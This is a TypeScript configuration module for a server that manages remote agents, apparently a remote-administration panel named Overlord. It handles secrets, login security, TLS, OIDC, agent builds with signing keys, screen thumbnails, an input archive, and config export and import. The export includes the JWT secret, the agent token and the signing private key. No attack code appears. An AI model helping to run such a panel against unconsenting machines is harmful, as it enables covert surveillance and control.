const nextSecrets: SaveSecrets = {
auth: {
jwtSecret: finalJwtSecret,
agentToken: finalAgentToken,
bootstrapPassword: finalBootstrapPassword,
},
};
persistSaveSecrets(savePath, nextSecrets);
logger.info(
`Generated runtime secrets are stored at ${savePath}. Keep this file private.`,
);
}
if (jwtSecretFromEnv) {
logger.info("JWT secret loaded from JWT_SECRET environment variable");
}
if (agentTokenFromEnv) {
logger.info("Agent token loaded from OVERLORD_AGENT_TOKEN environment variable");
}
if (passwordFromEnv) {
logger.info("Initial admin password loaded from OVERLORD_PASS environment variable");
}
return configCache;
}
export function getConfig(): Config {
if (!configCache) {
return loadConfig();
}
return configCache;
}
export async function updateNotificationsConfig(
updates: Partial<Config["notifications"]>,
): Promise<Config["notifications"]> {
const current = getConfig();
const keywords = (updates.keywords || current.notifications.keywords || [])
.map((k) => String(k).trim())
.filter(Boolean);
const deduped = Array.from(new Set(keywords));
const next = {
...current.notifications,
...updates,
keywords: deduped,
};
configCache = {
...current,
notifications: next,
};
const fileConfig = readFileConfigForUpdate();
fileConfig.notifications = next;
await writePersistentFileConfig(fileConfig);
return next;
}
export async function updateSecurityConfig(
updates: Partial<Config["security"]>,
): Promise<Config["security"]> {
const current = getConfig();
const next = {
...current.security,
...updates,
};
const toNumberOr = (value: unknown, fallback: number) => {
const parsed = Number(value);
return Number.isFinite(parsed) ? parsed : fallback;
};
next.sessionTtlHours = Math.min(24 * 30, Math.max(1, toNumberOr(next.sessionTtlHours, 168)));
next.loginMaxAttempts = Math.min(50, Math.max(1, toNumberOr(next.loginMaxAttempts, 5)));
next.loginWindowMinutes = Math.min(24 * 24, Math.max(1, toNumberOr(next.loginWindowMinutes, 15)));
next.loginLockoutMinutes = Math.min(24 * 24, Math.max(1, toNumberOr(next.loginLockoutMinutes, 30)));
next.passwordMinLength = Math.min(128, Math.max(6, toNumberOr(next.passwordMinLength, 6)));
next.passwordRequireUppercase = Boolean(next.passwordRequireUppercase);
next.passwordRequireLowercase = Boolean(next.passwordRequireLowercase);
next.passwordRequireNumber = Boolean(next.passwordRequireNumber);
next.passwordRequireSymbol = Boolean(next.passwordRequireSymbol);
next.mfaRequiredForAdmins = Boolean(next.mfaRequiredForAdmins);
next.mfaRequiredForNonAdmins = Boolean(next.mfaRequiredForNonAdmins);
configCache = {
...current,
security: next,
};
const fileConfig = readFileConfigForUpdate();
fileConfig.security = next;
await writePersistentFileConfig(fileConfig);
return next;
}
export async function updateEnrollmentConfig(
updates: Partial<Config["enrollment"]>,
): Promise<Config["enrollment"]> {
const current = getConfig();
const next = {
...current.enrollment,
...updates,
requireApproval: updates.requireApproval !== undefined ? Boolean(updates.requireApproval) : current.enrollment.requireApproval,
autoApproveUnlessSuspicious: updates.autoApproveUnlessSuspicious !== undefined ? Boolean(updates.autoApproveUnlessSuspicious) : current.enrollment.autoApproveUnlessSuspicious,
};
configCache = {
...current,
enrollment: next,
};
const fileConfig = readFileConfigForUpdate();
fileConfig.enrollment = next;
await writePersistentFileConfig(fileConfig);
return next;
}
export async function updateTlsConfig(
updates: Partial<Config["tls"]>,
): Promise<Config["tls"]> {
const current = getConfig();
const next = {
...current.tls,
...updates,
certbot: {
...current.tls.certbot,
...(updates.certbot || {}),
},
};
next.certPath = String(next.certPath || DEFAULT_CONFIG.tls.certPath).trim() || DEFAULT_CONFIG.tls.certPath;
next.keyPath = String(next.keyPath || DEFAULT_CONFIG.tls.keyPath).trim() || DEFAULT_CONFIG.tls.keyPath;
next.caPath = String(next.caPath || "").trim();
next.certbot.enabled = Boolean(next.certbot.enabled);
next.certbot.livePath =
String(next.certbot.livePath || DEFAULT_CONFIG.tls.certbot.livePath).trim() ||
DEFAULT_CONFIG.tls.certbot.livePath;
next.certbot.domain = String(next.certbot.domain || "").trim();
next.certbot.certFileName =
String(next.certbot.certFileName || DEFAULT_CONFIG.tls.certbot.certFileName).trim() ||
DEFAULT_CONFIG.tls.certbot.certFileName;
next.certbot.keyFileName =
String(next.certbot.keyFileName || DEFAULT_CONFIG.tls.certbot.keyFileName).trim() ||
DEFAULT_CONFIG.tls.certbot.keyFileName;
next.certbot.caFileName =
String(next.certbot.caFileName || DEFAULT_CONFIG.tls.certbot.caFileName).trim() ||
DEFAULT_CONFIG.tls.certbot.caFileName;
configCache = {
...current,
tls: next,
};
const fileConfig = readFileConfigForUpdate();
fileConfig.tls = next;
await writePersistentFileConfig(fileConfig);
return next;
}
export async function updateOidcConfig(
updates: Partial<Config["oidc"]>,
): Promise<Config["oidc"]> {
const current = getConfig();
const next: Config["oidc"] = {
...current.oidc,
...updates,
enabled:
updates.enabled !== undefined
? Boolean(updates.enabled)
: current.oidc.enabled,
label: String(updates.label ?? current.oidc.label ?? DEFAULT_CONFIG.oidc.label).trim() || DEFAULT_CONFIG.oidc.label,
issuer: String(updates.issuer ?? current.oidc.issuer ?? "").trim(),
clientId: String(updates.clientId ?? current.oidc.clientId ?? "").trim(),
clientSecret:
typeof updates.clientSecret === "string" && updates.clientSecret.length > 0
? updates.clientSecret.trim()
: current.oidc.clientSecret,
redirectUri: String(updates.redirectUri ?? current.oidc.redirectUri ?? "").trim(),
scopes: (() => {
const scopes = updates.scopes !== undefined ? splitList(updates.scopes) : splitList(current.oidc.scopes);
return scopes.length > 0 ? scopes : [...DEFAULT_CONFIG.oidc.scopes];
})(),
clientAuthMethod: pickClientAuthMethod(updates.clientAuthMethod ?? current.oidc.clientAuthMethod),
autoProvision:
updates.autoProvision !== undefined
? Boolean(updates.autoProvision)
: current.oidc.autoProvision,
allowEmailLink:
updates.allowEmailLink !== undefined
? Boolean(updates.allowEmailLink)
: current.oidc.allowEmailLink,
defaultRole: pickRole(updates.defaultRole ?? current.oidc.defaultRole, current.oidc.defaultRole),
allowedEmails:
updates.allowedEmails !== undefined
? splitList(updates.allowedEmails).map((email) => email.toLowerCase())
: splitList(current.oidc.allowedEmails),
allowedDomains:
updates.allowedDomains !== undefined
? splitList(updates.allowedDomains).map((domain) => domain.toLowerCase())
: splitList(current.oidc.allowedDomains),
groupClaim: String(updates.groupClaim ?? current.oidc.groupClaim ?? DEFAULT_CONFIG.oidc.groupClaim).trim() || DEFAULT_CONFIG.oidc.groupClaim,
adminGroups:
updates.adminGroups !== undefined
? splitList(updates.adminGroups)
: splitList(current.oidc.adminGroups),
operatorGroups:
updates.operatorGroups !== undefined
? splitList(updates.operatorGroups)
: splitList(current.oidc.operatorGroups),
viewerGroups:
updates.viewerGroups !== undefined
? splitList(updates.viewerGroups)
: splitList(current.oidc.viewerGroups),
};
configCache = {
...current,
oidc: next,
};
const fileConfig = readFileConfigForUpdate();
fileConfig.oidc = next;
await writePersistentFileConfig(fileConfig);
return next;
}
export async function updateAppearanceConfig(
customCSS: string,
loginBranding?: Partial<Config["appearance"]["loginBranding"]>,
): Promise<Config["appearance"]> {
const current = getConfig();
const next: Config["appearance"] = {
...current.appearance,
customCSS: String(customCSS || "").slice(0, 51200),
loginBranding: cleanLoginBranding(
loginBranding ? { ...current.appearance.loginBranding, ...loginBranding } : current.appearance.loginBranding,
DEFAULT_CONFIG.appearance.loginBranding,
),
};
configCache = {
...current,
appearance: next,
};
const fileConfig = readFileConfigForUpdate();
fileConfig.appearance = next;
await writePersistentFileConfig(fileConfig);
return next;
}
export async function updatePluginsConfig(
updates: Partial<Config["plugins"]>,
): Promise<Config["plugins"]> {
const current = getConfig();
const trustedKeys = (updates.trustedKeys || current.plugins.trustedKeys || [])
.map((k) => String(k).trim().toLowerCase())
.filter(Boolean);
const deduped = Array.from(new Set(trustedKeys));
const next: Config["plugins"] = {
...current.plugins,
trustedKeys: deduped,
};
configCache = {
...current,
plugins: next,
};
const fileConfig = readFileConfigForUpdate();
fileConfig.plugins = next;
await writePersistentFileConfig(fileConfig);
return next;
}
export async function updateChatConfig(
updates: Partial<Config["chat"]>,
): Promise<Config["chat"]> {
const current = getConfig();
const toNumberOr = (value: unknown, fallback: number) => {
const parsed = Number(value);
return Number.isFinite(parsed) ? parsed : fallback;
};
const next: Config["chat"] = {
...current.chat,
...updates,
};
const raw = toNumberOr(next.retentionDays, 30);
next.retentionDays = raw === 0 ? 0 : Math.min(365, Math.max(1, raw));
configCache = {
...current,
chat: next,
};
const fileConfig = readFileConfigForUpdate();
fileConfig.chat = next;
await writePersistentFileConfig(fileConfig);
return next;
}
export async function updateInputArchiveConfig(
updates: Partial<Config["inputArchive"]>,
): Promise<Config["inputArchive"]> {
const current = getConfig();
const next: Config["inputArchive"] = {
...current.inputArchive,
...updates,
};
next.enabled = Boolean(next.enabled);
next.retentionDays = Math.min(365, Math.max(1, Number(next.retentionDays) || 7));
next.maxFileBytes = Math.min(50 * 1024 * 1024, Math.max(64 * 1024, Number(next.maxFileBytes) || DEFAULT_CONFIG.inputArchive.maxFileBytes));
next.pollIntervalSeconds = Math.min(24 * 60 * 60, Math.max(0, Number(next.pollIntervalSeconds) || 0));
configCache = {
...current,
inputArchive: next,
};
const fileConfig = readFileConfigForUpdate();
fileConfig.inputArchive = next;
await writePersistentFileConfig(fileConfig);
return next;
}
export async function updateRegistrationConfig(
updates: Partial<Config["registration"]>,
): Promise<Config["registration"]> {
const current = getConfig();
const validModes = ["off", "open", "key", "approval"] as const;
const validRoles = ["operator", "viewer"] as const;
const next: Config["registration"] = {
...current.registration,
...updates,
};
if (!validModes.includes(next.mode as any)) {
next.mode = current.registration.mode;
}
if (!validRoles.includes(next.defaultRole as any)) {
next.defaultRole = current.registration.defaultRole;
}
next.maxUsersTotal = Math.max(0, Math.min(100000, Number(next.maxUsersTotal) || 0));
next.defaultGroupIds = Array.isArray(next.defaultGroupIds)
? Array.from(new Set(next.defaultGroupIds.map((g) => Number(g)).filter((g) => Number.isFinite(g) && g > 0)))
: [...current.registration.defaultGroupIds];
configCache = {
...current,
registration: next,
};
const fileConfig = readFileConfigForUpdate();
fileConfig.registration = next;
await writePersistentFileConfig(fileConfig);
return next;
}
export async function updateBuildRateLimitConfig(
updates: Partial<Config["buildRateLimit"]>,
): Promise<Config["buildRateLimit"]> {
const current = getConfig();
const toNumberOr = (value: unknown, fallback: number) => {
const parsed = Number(value);
return Number.isFinite(parsed) ? parsed : fallback;
};
const next: Config["buildRateLimit"] = {
...current.buildRateLimit,
...updates,
};
next.maxBuildsPerHour = Math.min(100, Math.max(1, toNumberOr(next.maxBuildsPerHour, 5)));
next.maxConcurrentPerUser = Math.min(10, Math.max(1, toNumberOr(next.maxConcurrentPerUser, 1)));
next.globalMaxConcurrent = Math.min(50, Math.max(1, toNumberOr(next.globalMaxConcurrent, 3)));
configCache = {
...current,
buildRateLimit: next,
};
const fileConfig = readFileConfigForUpdate();
fileConfig.buildRateLimit = next;
await writePersistentFileConfig(fileConfig);
return next;
}
export async function updateThumbnailsConfig(
updates: Partial<Config["thumbnails"]>,
): Promise<Config["thumbnails"]> {
const current = getConfig();
const next: Config["thumbnails"] = {
dashboardEnabled:
updates.dashboardEnabled !== undefined
? Boolean(updates.dashboardEnabled)
: current.thumbnails.dashboardEnabled,
wallEnabled:
updates.wallEnabled !== undefined
? Boolean(updates.wallEnabled)
: current.thumbnails.wallEnabled,
};
configCache = {
...current,
thumbnails: next,
};
const fileConfig = readFileConfigForUpdate();
fileConfig.thumbnails = next;
await writePersistentFileConfig(fileConfig);
return next;
}
export function getBuildSigningSecrets(): BuildSigningSecrets | null {
const dataDir = ensureDataDir();
const savePath = resolve(dataDir, "save.json");
const saved = loadSaveSecrets(savePath);
const priv = saved.buildSigning?.privateKey;
const pub = saved.buildSigning?.publicKey;
if (typeof priv === "string" && priv && typeof pub === "string" && pub) {
return { privateKey: priv, publicKey: pub };
}
return null;
}
export function setBuildSigningSecrets(secrets: BuildSigningSecrets): void {
const dataDir = ensureDataDir();
const savePath = resolve(dataDir, "save.json");
const saved = loadSaveSecrets(savePath);
saved.buildSigning = { privateKey: secrets.privateKey, publicKey: secrets.publicKey };
persistSaveSecrets(savePath, saved);
}
export function getClientLogSecrets(): ClientLogSecrets | null {
const dataDir = ensureDataDir();
const savePath = resolve(dataDir, "save.json");
const saved = loadSaveSecrets(savePath);
const priv = saved.clientLogs?.privateKey;
const pub = saved.clientLogs?.publicKey;
if (typeof priv === "string" && priv && typeof pub === "string" && pub) {
return { privateKey: priv, publicKey: pub };
}
return null;
}
export function setClientLogSecrets(secrets: ClientLogSecrets): void {
const dataDir = ensureDataDir();
const savePath = resolve(dataDir, "save.json");
const saved = loadSaveSecrets(savePath);
saved.clientLogs = { privateKey: secrets.privateKey, publicKey: secrets.publicKey };
persistSaveSecrets(savePath, saved);
}
export function getBuildBanlist(): string[] {
return getConfig().buildSigning.banlist;
}
export function setBuildBanlist(banlist: string[]): void {
const current = getConfig();
const cleaned = Array.from(
new Set(banlist.filter((v) => typeof v === "string" && v.length > 0)),
);
const next: Config["buildSigning"] = { banlist: cleaned };
configCache = { ...current, buildSigning: next };
const fileConfig = readFileConfigForUpdate();
fileConfig.buildSigning = next;
try {
writeFileSync(getPersistentConfigPath(), JSON.stringify(fileConfig, null, 2));
} catch (err) {
logger.warn("Failed to persist buildSigning banlist", err);
}
}
export function getExportableConfig(serverVersion: string): Record<string, unknown> {
const config = getConfig();
const buildSigningSecrets = getBuildSigningSecrets();
return {
_meta: {
exportedAt: new Date().toISOString(),
version: serverVersion,
},
auth: {
jwtSecret: config.auth.jwtSecret,
agentToken: config.auth.agentToken,
},
oidc: {
...config.oidc,
clientSecret: "",
},
notifications: config.notifications,
security: config.security,
tls: config.tls,
enrollment: config.enrollment,
appearance: config.appearance,
plugins: config.plugins,
chat: config.chat,
registration: config.registration,
buildRateLimit: config.buildRateLimit,
buildSigning: {
privateKey: buildSigningSecrets?.privateKey || "",
publicKey: buildSigningSecrets?.publicKey || "",
banlist: config.buildSigning.banlist,
},
thumbnails: config.thumbnails,
inputArchive: config.inputArchive,
};
}
export async function importFullConfig(data: Record<string, any>): Promise<{ applied: string[]; warnings: string[] }> {
const applied: string[] = [];
const warnings: string[] = [];
const envOverrides: Record<string, string | undefined> = {
notifications: process.env.OVERLORD_NOTIFICATION_KEYWORDS || process.env.OVERLORD_NOTIFICATION_WEBHOOK_URL,
security: process.env.OVERLORD_SESSION_TTL_HOURS || process.env.OVERLORD_LOGIN_MAX_ATTEMPTS,
tls: process.env.OVERLORD_TLS_CERT || process.env.OVERLORD_TLS_CERTBOT_ENABLED,
auth: process.env.JWT_SECRET || process.env.OVERLORD_AGENT_TOKEN,
oidc: process.env.OVERLORD_OIDC_ENABLED || process.env.OVERLORD_OIDC_ISSUER || process.env.OVERLORD_OIDC_CLIENT_ID,
appearance:
process.env.OVERLORD_LOGIN_BRAND_NAME ||
process.env.OVERLORD_BRAND_NAME ||
process.env.OVERLORD_NAV_LOGO_URL ||
process.env.OVERLORD_BRAND_LOGO_URL ||
process.env.OVERLORD_LOGIN_LOGO_URL ||
process.env.OVERLORD_LOGIN_HERO_IMAGE_URL ||
process.env.OVERLORD_LOGIN_TITLE,
};
if (data.notifications && typeof data.notifications === "object") {
await updateNotificationsConfig(data.notifications);
applied.push("notifications");
if (envOverrides.notifications) {
warnings.push("Some notification settings may be overridden by environment variables after restart.");
}
}
if (data.security && typeof data.security === "object") {
await updateSecurityConfig(data.security);
applied.push("security");
if (envOverrides.security) {
warnings.push("Some security settings may be overridden by environment variables after restart.");
}
}
if (data.tls && typeof data.tls === "object") {
await updateTlsConfig(data.tls);
applied.push("tls");
if (envOverrides.tls) {
warnings.push("Some TLS settings may be overridden by environment variables after restart.");
}
}
if (data.enrollment && typeof data.enrollment === "object") {
await updateEnrollmentConfig(data.enrollment);
applied.push("enrollment");
}
if (data.appearance && typeof data.appearance === "object") {
const css = typeof data.appearance.customCSS === "string" ? data.appearance.customCSS : "";
if (css.length <= 51200) {
const loginBranding =
data.appearance.loginBranding && typeof data.appearance.loginBranding === "object"
? data.appearance.loginBranding
: undefined;
await updateAppearanceConfig(css, loginBranding);
applied.push("appearance");
if (envOverrides.appearance) {
warnings.push("Some login branding settings may be overridden by OVERLORD_LOGIN_* environment variables after restart.");
}
} else {
warnings.push("Custom CSS exceeds 50 KB limit and was skipped.");
}
}
if (data.plugins && typeof data.plugins === "object") {
await updatePluginsConfig(data.plugins);
applied.push("plugins");
}
if (data.chat && typeof data.chat === "object") {
await updateChatConfig(data.chat);
applied.push("chat");
}
if (data.registration && typeof data.registration === "object") {
await updateRegistrationConfig(data.registration);
applied.push("registration");
}
if (data.oidc && typeof data.oidc === "object") {
const current = getConfig();
const next: Config["oidc"] = {
...current.oidc,
...data.oidc,
clientSecret:
typeof data.oidc.clientSecret === "string" && data.oidc.clientSecret
? data.oidc.clientSecret
: current.oidc.clientSecret,
enabled: Boolean(data.oidc.enabled),
scopes: splitList(data.oidc.scopes).length > 0 ? splitList(data.oidc.scopes) : current.oidc.scopes,
clientAuthMethod: pickClientAuthMethod(data.oidc.clientAuthMethod),
autoProvision: data.oidc.autoProvision !== undefined ? Boolean(data.oidc.autoProvision) : current.oidc.autoProvision,
allowEmailLink: data.oidc.allowEmailLink !== undefined ? Boolean(data.oidc.allowEmailLink) : current.oidc.allowEmailLink,
defaultRole: pickRole(data.oidc.defaultRole, current.oidc.defaultRole),
allowedEmails: splitList(data.oidc.allowedEmails),
allowedDomains: splitList(data.oidc.allowedDomains),
adminGroups: splitList(data.oidc.adminGroups),
operatorGroups: splitList(data.oidc.operatorGroups),
viewerGroups: splitList(data.oidc.viewerGroups),
};
configCache = { ...current, oidc: next };
const fileConfig = readFileConfigForUpdate();
fileConfig.oidc = next;
await writePersistentFileConfig(fileConfig);
applied.push("oidc");
if (envOverrides.oidc) {
warnings.push("Some OIDC settings may be overridden by OVERLORD_OIDC_* environment variables after restart.");
}
}
if (data.buildRateLimit && typeof data.buildRateLimit === "object") {
await updateBuildRateLimitConfig(data.buildRateLimit);
applied.push("buildRateLimit");
}
if (data.thumbnails && typeof data.thumbnails === "object") {
await updateThumbnailsConfig(data.thumbnails);
applied.push("thumbnails");
}
if (data.inputArchive && typeof data.inputArchive === "object") {
await updateInputArchiveConfig(data.inputArchive);
applied.push("inputArchive");
}
if (data.auth && typeof data.auth === "object") {
const dataDir = ensureDataDir();
const savePath = resolve(dataDir, "save.json");
const savedSecrets = loadSaveSecrets(savePath);
let changed = false;
if (typeof data.auth.jwtSecret === "string" && data.auth.jwtSecret) {
if (!savedSecrets.auth) savedSecrets.auth = {};
savedSecrets.auth.jwtSecret = data.auth.jwtSecret;
changed = true;
}
if (typeof data.auth.agentToken === "string" && data.auth.agentToken) {
if (!savedSecrets.auth) savedSecrets.auth = {};
savedSecrets.auth.agentToken = data.auth.agentToken;
changed = true;
}
if (changed) {
persistSaveSecrets(savePath, savedSecrets);
applied.push("auth (secrets updated in save.json — restart required)");
if (envOverrides.auth) {
warnings.push("Auth secrets may be overridden by JWT_SECRET / OVERLORD_AGENT_TOKEN environment variables.");
}
}
}
if (data.buildSigning && typeof data.buildSigning === "object") {
const incomingPriv = typeof data.buildSigning.privateKey === "string" ? data.buildSigning.privateKey : "";
const incomingPub = typeof data.buildSigning.publicKey === "string" ? data.buildSigning.publicKey : "";
let importedKeypair = false;
if (incomingPriv && incomingPub) {
const dataDir = ensureDataDir();
const savePath = resolve(dataDir, "save.json");
const savedSecrets = loadSaveSecrets(savePath);
savedSecrets.buildSigning = { privateKey: incomingPriv, publicKey: incomingPub };
persistSaveSecrets(savePath, savedSecrets);
importedKeypair = true;
} else if (incomingPriv || incomingPub) {
warnings.push("buildSigning import skipped: both privateKey and publicKey are required.");
}
if (Array.isArray(data.buildSigning.banlist)) {
const cleaned = data.buildSigning.banlist.filter(
(v: unknown): v is string => typeof v === "string" && v.length > 0,
);
setBuildBanlist(cleaned);
}
applied.push(
importedKeypair
? "buildSigning (keypair updated in save.json — restart required, banlist applied)"
: "buildSigning (banlist applied)",
);
}
return { applied, warnings };
}